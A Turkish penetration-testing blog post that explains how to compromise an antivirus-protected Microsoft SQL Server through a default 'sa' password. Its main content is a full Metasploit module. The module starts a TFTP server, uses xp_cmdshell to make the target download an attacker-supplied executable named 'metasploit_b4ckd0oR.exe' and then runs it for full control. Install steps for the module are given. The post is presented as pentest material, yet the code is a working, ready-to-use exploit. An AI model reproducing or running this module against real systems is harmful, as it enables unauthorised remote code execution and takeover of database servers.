Trivial File Transfer Protocol (TFTP) FTP' nin temel fonksiyonel şekli olarak ifade edilen ve UDP protokolü ile çalışan basit bir dosya transfer yapısıdır. Özellikle Windows sistemlerde hali hazırda kurulu olarak gelen bu protokol ile basit dosya transferleri yapmak mümkündür.

Sızma testlerinde karışımıza çıkan MsSQL default password zafiyeti ile uzak MsSQL sunucuya bağlantı gerçekleştirilerek hedef veri tabanı sistemi üzerinde komutlar çalıştırılabilmektedir. Bu konu üzerine daha önce hazırlamış olduğumuz yazıya aşağıdaki linkten ulaşabilirsiniz.

http://blog.bga.com.tr/2012/02/mssql-uzerinden-xpcmdshell-isletim.html

Hedef işletim sistemi üzerinde bir Anti Virüs yazılımı mevcut ise metasploit yapısında bulunan mssql modülleri başarısız olacaktır. Bunun nedeni ise bilinen meterpreter payload'ının kullanılıyor olmasıdır.

Metasploit ile hali hazırda gelen mssql_payload modülü ile üzerinde Anti Virüs kurulu olan sunucuya saldırı gerçekleştirilecektir.

msf > use exploit/windows/mssql/mssql_payload

Options bilgileri atanmıştır.

Exploit komutu ile hedef sisteme zararlı yazılım saldırısı yapılmıştır. Saldırı, sistemde ki Anti Virüs nedeni ile başarısızlıkla sonuçlanmıştır.

Bu nedenden ötürü, penetration tester tarafından hazırlanan ve Anti Virüs sistemlerini atlatabilen virüslerin sisteme gönderilmesi gerekmektedir. Hedef sisteme MsSQL sorguları ile .exe dosyası gönderip ardından bu exe'yi çalıştırmak için bilinen 3 adet yöntem mevcuttur.

1 - VBS script ile ajan yazılımı hedef sisteme indirmek. Bunun için hedef üzerinde VBS script oluşturmak gerekmektedir.
2 - SMB paylaşımı ile penetration tester kendi sisteminde bir klasörü SMB paylaşımını açar, MsSQL üzerinde yapacağı xp_cmdshell sorguları ile hedef sisteme paylaşımı açtığı klasörü mount eder. Ardından bu klasör içinden ajan çalıştırılır. Bu yöntem zor ve zaman alıcı bir tekniktir.
3 - TFTP üzerinden hedef sunucuya ajan yazılımın yüklenmesi.

3. madde için geliştirdiğimiz Metasploit modül'ünü kullanarak aynı sisteme saldırı düzenlenecektir.

PATH değişkeni , hedef'e yükleyeceğiniz ajan yazılımın yerel dosya sisteminizde ki tam dizinini belirtmektedir. Metasploit modül'ü bga.exe'nin bulunduğu dizini alarak bu dizin içeriğinde ki her şeyi TFTP servisi üzerinden sunacaktır.

Hedef sisteme meterpreter ajanı yüklenerek full yetki elde edilmiştir.
Özet olarak ;
1 - Hedef sistemde ki Anti Virüs, bilinen ajan yazılımları yakaladığı için metasploit'in mssql_payload modül'ü başarılı olamamaktadır.
2 - Anti Virüs sistemlerini aşma özelliği kazandırılmış bir exe yazılımı hedef sisteme mssql üzerinden yüklenmiştir. Bunun için TFTP servisini kullanan ve hedef üzerinde gerekli sorguları çalıştıran metasploit modül'ü geliştirilmiştir.
3 - Hedef işletim sisteminde full yetkiler elde edilmiştir.

mssql_tftp.rb dosyasını kullanmak için metasploit'in kurulu olduğu dizine gelip modules/exploits/windows/mssql/ klasörünün altına kopyalanması yeterlidir. Ardından msfconsole komutu çalıştırıldığında mssql_tftp.rb modül'ü artık kullanıma hazırdır.

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be subject to
  4. # redistribution and commercial restrictions. Please see the Metasploit
  5. # Framework web site for more information on licensing and terms of use.
  6. # http://metasploit.com/framework/
  7. ##
  8.  
  9. require 'msf/core'
  10. require 'rex/proto/tftp'
  11.  
  12. class Metasploit3 < Msf::Exploit::Remote
  13. Rank = ExcellentRanking
  14.  
  15. include Msf::Exploit::Remote::TFTPServer
  16. include Msf::Exploit::Remote::MSSQL
  17. #
  18. # This exploit affects TCP servers, so we use the TCP client mixin.
  19. #
  20. def initialize(info = {})
  21. super(update_info(info,
  22. 'Name' => 'Microsoft SQL Server Malware Execution ',
  23. 'Description' => %q{
  24. Using TFTP for upload malware to target
  25. },
  26. 'Author' =>
  27. [
  28. 'Mehmet Dursun Ince <mehmet.ince[at]bga.com.tr'
  29. ],
  30. 'License' => MSF_LICENSE,
  31. 'Version' => '$Revision: 14 $',
  32. 'DisclosureDate' => '11 Oct 2012',
  33. 'References' =>
  34. [
  35. # 'sa' password in logs
  36. [ 'CVE', '2000-0402' ],
  37. [ 'OSVDB', '557' ],
  38. [ 'BID', '1281' ],
  39.  
  40. # blank default 'sa' password
  41. [ 'CVE', '2000-1209' ],
  42. [ 'OSVDB', '15757' ],
  43. [ 'BID', '4797' ]
  44. ],
  45. 'Platform' => 'win',
  46. 'Targets' =>
  47. [
  48. [ 'Automatic', { } ],
  49. ],
  50. 'DefaultTarget' => 0
  51. ))
  52. register_options(
  53. [
  54. OptString.new('PATH', [ true, 'Set full location of malware.exe', '/root/Desktop/malware.exe' ]),
  55. OptString.new('LHOST', [ true, 'Listener Ip Address', '' ]),
  56. OptString.new('RPATH', [ false, 'Directory of target sistem', 'c:\\Windows\\Temp\\' ]),
  57. ])
  58. end
  59.  
  60. #
  61. # The sample exploit just indicates that the remote host is always
  62. # vulnerable.
  63. #
  64. def check
  65. return Exploit::CheckCode::Vulnerable
  66. end
  67.  
  68. #
  69. # The exploit method connects to the remote service and sends 1024 A's
  70. # followed by the fake return address and then the payload.
  71. #
  72. def exploit
  73. if not datastore['PATH']
  74. print_error("You must PATH to use this module.")
  75. return
  76. end
  77. #### PARSING DATA
  78. tftp_server_path = ""
  79. exe_name = ""
  80.  
  81. exe_name = datastore['PATH'].split("/").last
  82. datastore['PATH'].split("/")[1..-2].each { |value| tftp_server_path += "/" + value}
  83. ####
  84. @tftp = Rex::Proto::TFTP::Server.new
  85. print_status("Starting TFTP server...")
  86.  
  87. print_status("Files will be served from #{tftp_server_path}")
  88. @tftp.set_tftproot(tftp_server_path+"/")
  89. @tftp.start
  90. add_socket(@tftp.sock)
  91.  
  92. ### Connection MsSQL ####
  93. print_status("Version:")
  94. if (not mssql_login_datastore)
  95. print_status("Invalid SQL Server credentials")
  96. return
  97. end
  98. command="cmd.exe /c tftp -i "+datastore['LHOST']+" GET "+exe_name+" "+datastore['RPATH']+"metasploit_b4ckd0oR.exe"
  99. mssql_xpcmdshell(command,true )
  100. print_status("Executing your malware.exe, please wait!!!")
  101. @tftp.stop
  102. mssql_xpcmdshell("cmd.exe /c " + datastore['RPATH']+"metasploit_b4ckd0oR.exe",false )
  103. handler
  104. end
  105. end
  106.  
  107.  
Categories: Dökümanlar

2 Responses so far.

  1. umut cem says:

    Windows 2003 Server için’de Geçerlimi acaba ?

Leave a Reply



− 2 = seven